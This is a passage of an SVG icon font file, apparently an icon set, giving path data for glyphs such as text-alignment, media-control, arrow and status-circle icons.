-85.5t-163.5 -48.5 t-176 -14q-44 0 -132 3t-132 3q-106 0 -307 -11t-231 -12z" />
<glyph unicode="&#xf033;" horiz-adv-x="1024" d="M0 -126l17 85q6 2 81.5 21.5t111.5 37.5q28 35 41 101q1 7 62 289t114 543.5t52 296.5v25q-24 13 -54.5 18.5t-69.5 8t-58 5.5l19 103q33 -2 120 -6.5t149.5 -7t120.5 -2.5q48 0 98.5 2.5t121 7t98.5 6.5q-5 -39 -19 -89q-30 -10 -101.5 -28.5t-108.5 -33.5 q-8 -19 -14 -42.5t-9 -40t-7.5 -45.5t-6.5 -42q-27 -148 -87.5 -419.5t-77.5 -355.5q-2 -9 -13 -58t-20 -90t-16 -83.5t-6 -57.5l1 -18q17 -4 185 -31q-3 -44 -16 -99q-11 0 -32.5 -1.5t-32.5 -1.5q-29 0 -87 10t-86 10q-138 2 -206 2q-51 0 -143 -9t-121 -11z" />
<glyph unicode="&#xf034;" horiz-adv-x="1792" d="M1744 128q33 0 42 -18.5t-11 -44.5l-126 -162q-20 -26 -49 -26t-49 26l-126 162q-20 26 -11 44.5t42 18.5h80v1024h-80q-33 0 -42 18.5t11 44.5l126 162q20 26 49 26t49 -26l126 -162q20 -26 11 -44.5t-42 -18.5h-80v-1024h80zM81 1407l54 -27q12 -5 211 -5q44 0 132 2 t132 2q36 0 107.5 -0.5t107.5 -0.5h293q6 0 21 -0.5t20.5 0t16 3t17.5 9t15 17.5l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 48t-14.5 73.5t-7.5 35.5q-6 8 -12 12.5t-15.5 6t-13 2.5t-18 0.5t-16.5 -0.5 q-17 0 -66.5 0.5t-74.5 0.5t-64 -2t-71 -6q-9 -81 -8 -136q0 -94 2 -388t2 -455q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27 q19 42 19 383q0 101 -3 303t-3 303v117q0 2 0.5 15.5t0.5 25t-1 25.5t-3 24t-5 14q-11 12 -162 12q-33 0 -93 -12t-80 -26q-19 -13 -34 -72.5t-31.5 -111t-42.5 -53.5q-42 26 -56 44v383z" />
<glyph unicode="&#xf035;" d="M81 1407l54 -27q12 -5 211 -5q44 0 132 2t132 2q70 0 246.5 1t304.5 0.5t247 -4.5q33 -1 56 31l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 47.5t-15 73.5t-7 36q-10 13 -27 19q-5 2 -66 2q-30 0 -93 1t-103 1 t-94 -2t-96 -7q-9 -81 -8 -136l1 -152v52q0 -55 1 -154t1.5 -180t0.5 -153q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27 q7 16 11.5 74t6 145.5t1.5 155t-0.5 153.5t-0.5 89q0 7 -2.5 21.5t-2.5 22.5q0 7 0.5 44t1 73t0 76.5t-3 67.5t-6.5 32q-11 12 -162 12q-41 0 -163 -13.5t-138 -24.5q-19 -12 -34 -71.5t-31.5 -111.5t-42.5 -54q-42 26 -56 44v383zM1310 125q12 0 42 -19.5t57.5 -41.5 t59.5 -49t36 -30q26 -21 26 -49t-26 -49q-4 -3 -36 -30t-59.5 -49t-57.5 -41.5t-42 -19.5q-13 0 -20.5 10.5t-10 28.5t-2.5 33.5t1.5 33t1.5 19.5h-1024q0 -2 1.5 -19.5t1.5 -33t-2.5 -33.5t-10 -28.5t-20.5 -10.5q-12 0 -42 19.5t-57.5 41.5t-59.5 49t-36 30q-26 21 -26 49 t26 49q4 3 36 30t59.5 49t57.5 41.5t42 19.5q13 0 20.5 -10.5t10 -28.5t2.5 -33.5t-1.5 -33t-1.5 -19.5h1024q0 2 -1.5 19.5t-1.5 33t2.5 33.5t10 28.5t20.5 10.5z" />
<glyph unicode="&#xf036;" horiz-adv-x="1792" d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45 t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf037;" horiz-adv-x="1792" d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h896q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45t-45 -19 h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h640q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf038;" horiz-adv-x="1792" d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45 t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf039;" horiz-adv-x="1792" d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45 t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf03a;" horiz-adv-x="1792" d="M256 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM256 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5 t9.5 -22.5zM256 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344 q13 0 22.5 -9.5t9.5 -22.5zM256 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5 t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192 q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5z" />
<glyph unicode="&#xf03b;" horiz-adv-x="1792" d="M384 992v-576q0 -13 -9.5 -22.5t-22.5 -9.5q-14 0 -23 9l-288 288q-9 9 -9 23t9 23l288 288q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5 t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088 q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
<glyph unicode="&#xf03c;" horiz-adv-x="1792" d="M352 704q0 -14 -9 -23l-288 -288q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v576q0 13 9.5 22.5t22.5 9.5q14 0 23 -9l288 -288q9 -9 9 -23zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5 t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088 q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
<glyph unicode="&#xf03d;" horiz-adv-x="1792" d="M1792 1184v-1088q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-403 403v-166q0 -119 -84.5 -203.5t-203.5 -84.5h-704q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h704q119 0 203.5 -84.5t84.5 -203.5v-165l403 402q18 19 45 19q12 0 25 -5 q39 -17 39 -59z" />
<glyph unicode="&#xf03e;" horiz-adv-x="1920" d="M640 960q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 576v-448h-1408v192l320 320l160 -160l512 512zM1760 1280h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5v1216 q0 13 -9.5 22.5t-22.5 9.5zM1920 1248v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
<glyph unicode="&#xf040;" d="M363 0l91 91l-235 235l-91 -91v-107h128v-128h107zM886 928q0 22 -22 22q-10 0 -17 -7l-542 -542q-7 -7 -7 -17q0 -22 22 -22q10 0 17 7l542 542q7 7 7 17zM832 1120l416 -416l-832 -832h-416v416zM1515 1024q0 -53 -37 -90l-166 -166l-416 416l166 165q36 38 90 38 q53 0 91 -38l235 -234q37 -39 37 -91z" />
<glyph unicode="&#xf041;" horiz-adv-x="1024" d="M768 896q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1024 896q0 -109 -33 -179l-364 -774q-16 -33 -47.5 -52t-67.5 -19t-67.5 19t-46.5 52l-365 774q-33 70 -33 179q0 212 150 362t362 150t362 -150t150 -362z" />
<glyph unicode="&#xf042;" d="M768 96v1088q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf043;" horiz-adv-x="1024" d="M512 384q0 36 -20 69q-1 1 -15.5 22.5t-25.5 38t-25 44t-21 50.5q-4 16 -21 16t-21 -16q-7 -23 -21 -50.5t-25 -44t-25.5 -38t-15.5 -22.5q-20 -33 -20 -69q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 512q0 -212 -150 -362t-362 -150t-362 150t-150 362 q0 145 81 275q6 9 62.5 90.5t101 151t99.5 178t83 201.5q9 30 34 47t51 17t51.5 -17t33.5 -47q28 -93 83 -201.5t99.5 -178t101 -151t62.5 -90.5q81 -127 81 -275z" />
<glyph unicode="&#xf044;" horiz-adv-x="1792" d="M888 352l116 116l-152 152l-116 -116v-56h96v-96h56zM1328 1072q-16 16 -33 -1l-350 -350q-17 -17 -1 -33t33 1l350 350q17 17 1 33zM1408 478v-190q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832 q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-14 -14 -32 -8q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v126q0 13 9 22l64 64q15 15 35 7t20 -29zM1312 1216l288 -288l-672 -672h-288v288zM1756 1084l-92 -92 l-288 288l92 92q28 28 68 28t68 -28l152 -152q28 -28 28 -68t-28 -68z" />
<glyph unicode="&#xf045;" horiz-adv-x="1664" d="M1408 547v-259q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h255v0q13 0 22.5 -9.5t9.5 -22.5q0 -27 -26 -32q-77 -26 -133 -60q-10 -4 -16 -4h-112q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832 q66 0 113 47t47 113v214q0 19 18 29q28 13 54 37q16 16 35 8q21 -9 21 -29zM1645 1043l-384 -384q-18 -19 -45 -19q-12 0 -25 5q-39 17 -39 59v192h-160q-323 0 -438 -131q-119 -137 -74 -473q3 -23 -20 -34q-8 -2 -12 -2q-16 0 -26 13q-10 14 -21 31t-39.5 68.5t-49.5 99.5 t-38.5 114t-17.5 122q0 49 3.5 91t14 90t28 88t47 81.5t68.5 74t94.5 61.5t124.5 48.5t159.5 30.5t196.5 11h160v192q0 42 39 59q13 5 25 5q26 0 45 -19l384 -384q19 -19 19 -45t-19 -45z" />
<glyph unicode="&#xf046;" horiz-adv-x="1664" d="M1408 606v-318q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-10 -10 -23 -10q-3 0 -9 2q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832 q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v254q0 13 9 22l64 64q10 10 23 10q6 0 12 -3q20 -8 20 -29zM1639 1095l-814 -814q-24 -24 -57 -24t-57 24l-430 430q-24 24 -24 57t24 57l110 110q24 24 57 24t57 -24l263 -263l647 647q24 24 57 24t57 -24l110 -110 q24 -24 24 -57t-24 -57z" />
<glyph unicode="&#xf047;" horiz-adv-x="1792" d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-384v-384h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v384h-384v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45 t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h384v384h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45t-19 -45t-45 -19h-128v-384h384v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
<glyph unicode="&#xf048;" horiz-adv-x="1024" d="M979 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 11 13 19z" />
<glyph unicode="&#xf049;" horiz-adv-x="1792" d="M1747 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 11 13 19l710 710 q19 19 32 13t13 -32v-710q4 11 13 19z" />
<glyph unicode="&#xf04a;" horiz-adv-x="1664" d="M1619 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-8 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-19 19 -19 45t19 45l710 710q19 19 32 13t13 -32v-710q5 11 13 19z" />
<glyph unicode="&#xf04b;" horiz-adv-x="1408" d="M1384 609l-1328 -738q-23 -13 -39.5 -3t-16.5 36v1472q0 26 16.5 36t39.5 -3l1328 -738q23 -13 23 -31t-23 -31z" />
<glyph unicode="&#xf04c;" d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45zM640 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf04d;" d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf04e;" horiz-adv-x="1664" d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q8 -8 13 -19v710q0 26 13 32t32 -13l710 -710q19 -19 19 -45t-19 -45l-710 -710q-19 -19 -32 -13t-13 32v710q-5 -10 -13 -19z" />
<glyph unicode="&#xf050;" horiz-adv-x="1792" d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q8 -8 13 -19v710q0 26 13 32t32 -13l710 -710q8 -8 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-5 -10 -13 -19l-710 -710 q-19 -19 -32 -13t-13 32v710q-5 -10 -13 -19z" />
<glyph unicode="&#xf051;" horiz-adv-x="1024" d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q8 -8 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-5 -10 -13 -19z" />
<glyph unicode="&#xf052;" horiz-adv-x="1538" d="M14 557l710 710q19 19 45 19t45 -19l710 -710q19 -19 13 -32t-32 -13h-1472q-26 0 -32 13t13 32zM1473 0h-1408q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1408q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19z" />
<glyph unicode="&#xf053;" horiz-adv-x="1280" d="M1171 1235l-531 -531l531 -531q19 -19 19 -45t-19 -45l-166 -166q-19 -19 -45 -19t-45 19l-742 742q-19 19 -19 45t19 45l742 742q19 19 45 19t45 -19l166 -166q19 -19 19 -45t-19 -45z" />
<glyph unicode="&#xf054;" horiz-adv-x="1280" d="M1107 659l-742 -742q-19 -19 -45 -19t-45 19l-166 166q-19 19 -19 45t19 45l531 531l-531 531q-19 19 -19 45t19 45l166 166q19 19 45 19t45 -19l742 -742q19 -19 19 -45t-19 -45z" />
<glyph unicode="&#xf055;" d="M1216 576v128q0 26 -19 45t-45 19h-256v256q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-256h-256q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h256v-256q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v256h256q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5 t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf056;" d="M1216 576v128q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5 t103 -385.5z" />
<glyph unicode="&#xf057;" d="M1149 414q0 26 -19 45l-181 181l181 181q19 19 19 45q0 27 -19 46l-90 90q-19 19 -46 19q-26 0 -45 -19l-181 -181l-181 181q-19 19 -45 19q-27 0 -46 -19l-90 -90q-19 -19 -19 -46q0 -26 19 -45l181 -181l-181 -181q-19 -19 -19 -45q0 -27 19 -46l90 -90q19 -19 46 -19 q26 0 45 19l181 181l181 -181q19 -19 45 -19q27 0 46 19l90 90q19 19 19 46zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf058;" d="M1284 802q0 28 -18 46l-91 90q-19 19 -45 19t-45 -19l-408 -407l-226 226q-19 19 -45 19t-45 -19l-91 -90q-18 -18 -18 -46q0 -27 18 -45l362 -362q19 -19 45 -19q27 0 46 19l543 543q18 18 18 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103 t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf059;" d="M896 160v192q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1152 832q0 88 -55.5 163t-138.5 116t-170 41q-243 0 -371 -213q-15 -24 8 -42l132 -100q7 -6 19 -6q16 0 25 12q53 68 86 92q34 24 86 24q48 0 85.5 -26t37.5 -59 q0 -38 -20 -61t-68 -45q-63 -28 -115.5 -86.5t-52.5 -125.5v-36q0 -14 9 -23t23 -9h192q14 0 23 9t9 23q0 19 21.5 49.5t54.5 49.5q32 18 49 28.5t46 35t44.5 48t28 60.5t12.5 81zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf05a;" d="M1024 160v160q0 14 -9 23t-23 9h-96v512q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h96v-320h-96q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h448q14 0 23 9t9 23zM896 1056v160q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23 t23 -9h192q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf05b;" d="M1197 512h-109q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h109q-32 108 -112.5 188.5t-188.5 112.5v-109q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v109q-108 -32 -188.5 -112.5t-112.5 -188.5h109q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-109 q32 -108 112.5 -188.5t188.5 -112.5v109q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-109q108 32 188.5 112.5t112.5 188.5zM1536 704v-128q0 -26 -19 -45t-45 -19h-143q-37 -161 -154.5 -278.5t-278.5 -154.5v-143q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v143 q-161 37 -278.5 154.5t-154.5 278.5h-143q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h143q37 161 154.5 278.5t278.5 154.5v143q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-143q161 -37 278.5 -154.5t154.5 -278.5h143q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf05c;" d="M1097 457l-146 -146q-10 -10 -23 -10t-23 10l-137 137l-137 -137q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l137 137l-137 137q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l137 -137l137 137q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23 l-137 -137l137 -137q10 -10 10 -23t-10 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5 t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf05d;" d="M1171 723l-422 -422q-19 -19 -45 -19t-45 19l-294 294q-19 19 -19 45t19 45l102 102q19 19 45 19t45 -19l147 -147l275 275q19 19 45 19t45 -19l102 -102q19 -19 19 -45t-19 -45zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198 t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf05e;" d="M1312 643q0 161 -87 295l-754 -753q137 -89 297 -89q111 0 211.5 43.5t173.5 116.5t116 174.5t43 212.5zM313 344l755 754q-135 91 -300 91q-148 0 -273 -73t-198 -199t-73 -274q0 -162 89 -299zM1536 643q0 -157 -61 -300t-163.5 -246t-245 -164t-298.5 -61t-298.5 61 t-245 164t-163.5 246t-61 300t61 299.5t163.5 245.5t245 164t298.5 61t298.5 -61t245 -164t163.5 -245.5t61 -299.5z" />
<glyph unicode="&#xf060;" d="M1536 640v-128q0 -53 -32.5 -90.5t-84.5 -37.5h-704l293 -294q38 -36 38 -90t-38 -90l-75 -76q-37 -37 -90 -37q-52 0 -91 37l-651 652q-37 37 -37 90q0 52 37 91l651 650q38 38 91 38q52 0 90 -38l75 -74q38 -38 38 -91t-38 -91l-293 -293h704q52 0 84.5 -37.5 t32.5 -90.5z" />
<glyph unicode="&#xf061;" d="M1472 576q0 -54 -37 -91l-651 -651q-39 -37 -91 -37q-51 0 -90 37l-75 75q-38 38 -38 91t38 91l293 293h-704q-52 0 -84.5 37.5t-32.5 90.5v128q0 53 32.5 90.5t84.5 37.5h704l-293 294q-38 36 -38 90t38 90l75 75q38 38 90 38q53 0 91 -38l651 -651q37 -35 37 -90z" />
<glyph unicode="&#xf062;" horiz-adv-x="1664" d="M1611 565q0 -51 -37 -90l-75 -75q-38 -38 -91 -38q-54 0 -90 38l-294 293v-704q0 -52 -37.5 -84.5t-90.5 -32.5h-128q-53 0 -90.5 32.5t-37.5 84.5v704l-294 -293q-36 -38 -90 -38t-90 38l-75 75q-38 38 -38 90q0 53 38 91l651 651q35 37 90 37q54 0 91 -37l651 -651 q37 -39 37 -91z" />
<glyph unicode="&#xf063;" horiz-adv-x="1664" d="M1611 704q0 -53 -37 -90l-651 -652q-39 -37 -91 -37q-53 0 -90 37l-651 652q-38 36 -38 90q0 53 38 91l74 75q39 37 91 37q53 0 90 -37l294 -294v704q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-704l294 294q37 37 90 37q52 0 91 -37l75 -75q37 -39 37 -91z" />
<glyph unicode="&#xf064;" horiz-adv-x="1792" d="M1792 896q0 -26 -19 -45l-512 -512q-19 -19 -45 -19t-45 19t-19 45v256h-224q-98 0 -175.5 -6t-154 -21.5t-133 -42.5t-105.5 -69.5t-80 -101t-48.5 -138.5t-17.5 -181q0 -55 5 -123q0 -6 2.5 -23.5t2.5 -26.5q0 -15 -8.5 -25t-23.5 -10q-16 0 -28 17q-7 9 -13 22 t-13.5 30t-10.5 24q-127 285 -127 451q0 199 53 333q162 403 875 403h224v256q0 26 19 45t45 19t45 -19l512 -512q19 -19 19 -45z" />
